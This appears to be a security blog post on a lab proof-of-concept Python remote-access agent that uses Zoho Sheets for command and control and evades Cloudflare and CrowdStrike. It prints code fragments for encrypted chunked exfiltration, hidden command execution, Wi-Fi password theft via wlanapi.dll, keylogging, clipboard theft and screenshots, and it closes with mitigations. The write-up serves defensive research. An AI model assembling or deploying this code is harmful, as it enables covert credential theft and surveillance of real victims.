Author: Valli-Nayagam Chokkalingam
A technical deep-dive into a Python-based C2 agent that bypassed Cloudflare Zero Trust and CrowdStrike EDR to steal Wi-Fi passwords and keylog user sessions.

Contents
Introduction
In modern enterprise environments, we rely on layered defenses. Cloudflare Zero Trust inspects our network traffic, CrowdStrike monitors our endpoints, and Microsoft Defender runs quietly in the background.
Recent research, such as Zscaler ThreatLabz’s September 2025 report on malicious PyPI packages delivering the SilentSync RAT, highlights how attackers are increasingly weaponizing Python to create stealthy, remote-access backdoors. Inspired by these real-world TTPs, I built a Python Proof of Concept (PoC) to answer a specific question:
What happens when malware doesn’t use a shady IP address, doesn’t drop a known executable, and doesn’t spawn a noisy command prompt?
By using Zoho Sheets as a Command & Control (C2) channel and direct Windows API calls for execution, I successfully bypassed a full enterprise-grade security stack within an isolated lab environment.
Key Takeaways
Network Evasion: Zero Trust proxies struggle to detect encrypted C2 channels hidden inside trusted SaaS API calls (like Zoho).
Endpoint Evasion: EDRs rely heavily on command-line telemetry. By using ctypes to call Windows APIs directly from memory, we bypass process-creation monitoring entirely.
The Data Heist: Successfully extracted plaintext Wi-Fi credentials, logged keystrokes in context, hijacked the clipboard, and exfiltrated files—all without triggering a single alert.
The Architecture
The PoC is a Python agent that polls a Zoho Spreadsheet. The attacker types an AES-encrypted command into a cell; the agent reads it, executes it, and writes the encrypted output back to the sheet.
To the network firewall, this looks like standard HTTPS traffic (Port 443) to a legitimate business application. To the EDR, it looks like a standard Python process running in the background.
The Technical Breakdown
- The Covert Channel (AES-GCM + Chunking)
We cannot just send plaintext commands to Zoho. To evade TLS inspection and Data Loss Prevention (DLP), all traffic is encrypted using AES-256-GCM. Because Zoho cells have a character limit, large outputs (like screenshots or stolen files) must be Base64 encoded and chunked to avoid data corruption.
# From the agent's exfiltrate_data functionif is_file: with open(raw_data, "rb") as f: file_bytes = f.read() # Base64 ensures binary files survive HTTP transport b64_data = base64.b64encode(file_bytes).decode('utf-8') plaintext = f"[FILE_DUMP] ID: {self.host_id} | File: {os.path.basename(raw_data)}:{b64_data}"else: plaintext = str(raw_data)# AES-GCM Encryptionciphertext = aes.encrypt(nonce, plaintext.encode('utf-8'), None)enc_out = "HEX:" + (nonce + ciphertext).hex()# Chunking to avoid hitting Zoho's cell size limitchunk_size = 1500chunks = [enc_out[i:i+chunk_size] for i in range(0, len(enc_out), chunk_size)]
- Silent Shell Command Execution
To execute standard Windows commands (like whoami or ipconfig), the agent uses Python’s subprocess module. However, if you just run subprocess.run(), a black command prompt window will flash on the user’s screen, immediately alerting them to the malware. To prevent this, the agent uses the CREATE_NO_WINDOW flag. This forces the command to execute silently in the background, with no GUI artifact.
import subprocess# Executing the command silentlyprocess = subprocess.run( cmd, shell=True, capture_output=True, text=True, creationflags=subprocess.CREATE_NO_WINDOW # <--- The stealth flag)output = process.stdout + process.stderr
- The EDR Evasion (ctypes Direct API Calls)
The most common way to steal Wi-Fi passwords is running netsh wlan show profile key=clear. However, this spawns netsh.exe, which immediately triggers CrowdStrike’s process-creation heuristics. To bypass this, the Python agent calls wlanapi.dll directly from memory. No new processes are spawned; no command line is logged. Because the malware runs in the context of the infected user, Windows DPAPI happily decrypts the Wi-Fi passwords to plaintext for us.
import ctypesfrom ctypes import wintypes# Loading the DLL directly into the Python processwlanapi = ctypes.windll.wlanapihandle = wintypes.HANDLE()# Opening the WLAN handle (bypassing netsh.exe entirely)if wlanapi.WlanOpenHandle(2, None, ctypes.byref(negotiated_version), ctypes.byref(handle)) == 0: # ... logic to enumerate interfaces and extract profiles ...
- Context-Aware Keylogging
Instead of dumping a massive wall of keystrokes, the agent uses the pynput library combined with win32gui to log the active window title. When the operator runs the getkeys command, they see exactly which application the victim was typing in, making it trivial to parse stolen credentials.
def _on_press(self, key): current_window = win32gui.GetWindowText(win32gui.GetForegroundWindow()) if current_window != self.last_window_title: self.buffer += f"\n\n--- [Window: {current_window}] ---\n" # ... append keystrokes to buffer ...
- Clipboard Hijacking
While the video demonstrates the keylogger and file exfiltration, the agent also includes a clipboard stealer. This is a classic technique (MITRE ATT&CK T1115) used to grab passwords copied from password managers, crypto wallet addresses, or 2FA codes. Because this grabs whatever is currently in the user’s paste buffer, it can instantly capture high-value data without waiting for the user to type it out.
import pyperclip# Triggered when the operator sends the "clipboard" commanddata = pyperclip.paste()if data: payload = f"[CLIPBOARD] ID: {self.host_id}\n" + "="*40 + f"\n{data}" self.exfiltrate_data(cmd_data, payload)
- Silent Screen Capture
To gain visual context of what the victim is doing, the agent includes a screenshot module. Taking a screenshot and sending the raw PNG over the network would instantly trigger Data Loss Prevention (DLP) tools and blow the API rate limits. Instead, the agent uses pyautogui to capture the screen, compresses the image heavily as a JPEG, resizes it to a thumbnail, and stores it in memory. Once the Base64 string is generated, it is handed off to the standard exfiltrate_data function. Because the payload is heavily compressed and split into 1,500-character chunks, it slips past the network proxy as just another series of encrypted spreadsheet updates.
import pyautoguiimport ioimport base64def _capture_screenshot(self) -> str: try: # Create an in-memory buffer (no file is written to disk) buffer = io.BytesIO() # Capture the screen img = pyautogui.screenshot() # Resize to 800x800 to keep the payload small img.thumbnail((800, 800)) # Compress as a low-quality JPEG img.save(buffer, format="JPEG", quality=50) # Convert to Base64 for safe transport b64_img = base64.b64encode(buffer.getvalue()).decode('utf-8') return f"[SCREENSHOT] ID: {self.host_id}\n{b64_img}" except Exception as e: return f"[-] Screenshot failed: {e}"
Analysis: Why Did the Defenses Fail?
The Network Gap (Cloudflare)
Cloudflare Zero Trust successfully decrypted the TLS tunnel. However, it matched the traffic to the “Trusted SaaS” category and allowed it. Because the payload was AES-encrypted, Cloudflare’s DLP engine could not read the commands or stolen data. It just saw an authenticated user updating a spreadsheet.
The Endpoint Gap (CrowdStrike & Defender)
Both CrowdStrike and Defender for Business failed to alert on this activity.
- No Known Malware: Python is a legitimate administrative tool.
- No Malicious Command Line: We bypassed cmd.exe and netsh.exe.
- In-Memory API Calls: By using ctypes, we stayed under the radar of standard behavioral heuristics.
Mitigation: How Do We Stop This?
This PoC proves that network and endpoint defenses are largely blind to encrypted SaaS abuse. Here is how to detect and prevent it:
- Egress Filtering: If your business doesn’t use Zoho, block *.zoho.in at the firewall. Don’t allow blanket access to every SaaS API.
- API Rate Limiting & Baselining: Users don’t make 400 API calls to Zoho every 5 minutes. Monitor for abnormal SaaS API traffic originating from endpoints.
- Behavioral EDR Rules: Create custom rules to monitor for python.exe or pythonw.exe making outbound HTTPS requests to SaaS APIs, especially when combined with ctypes loading of sensitive DLLs like wlanapi.dll or user32.dll.
- Restrict Python Execution: If developers don’t need Python on their standard workstations, use AppLocker or Windows Defender Application Control (WDAC) to block it.
Watch the Video
(Want to see the Wi-Fi dumping, keylogging, and file exfiltration in action? Check out the video below).
Disclaimer
This PoC was conducted in an authorized lab environment for security research and awareness. The scripts and techniques shared are for educational purposes only.
References
- Zscaler ThreatLabz – Malicious PyPI Packages Deliver SilentSync RAT (September 2025): https://www.zscaler.com/blogs/security-research/malicious-pypi-packages-deliver-silentsync-rat

Leave a Reply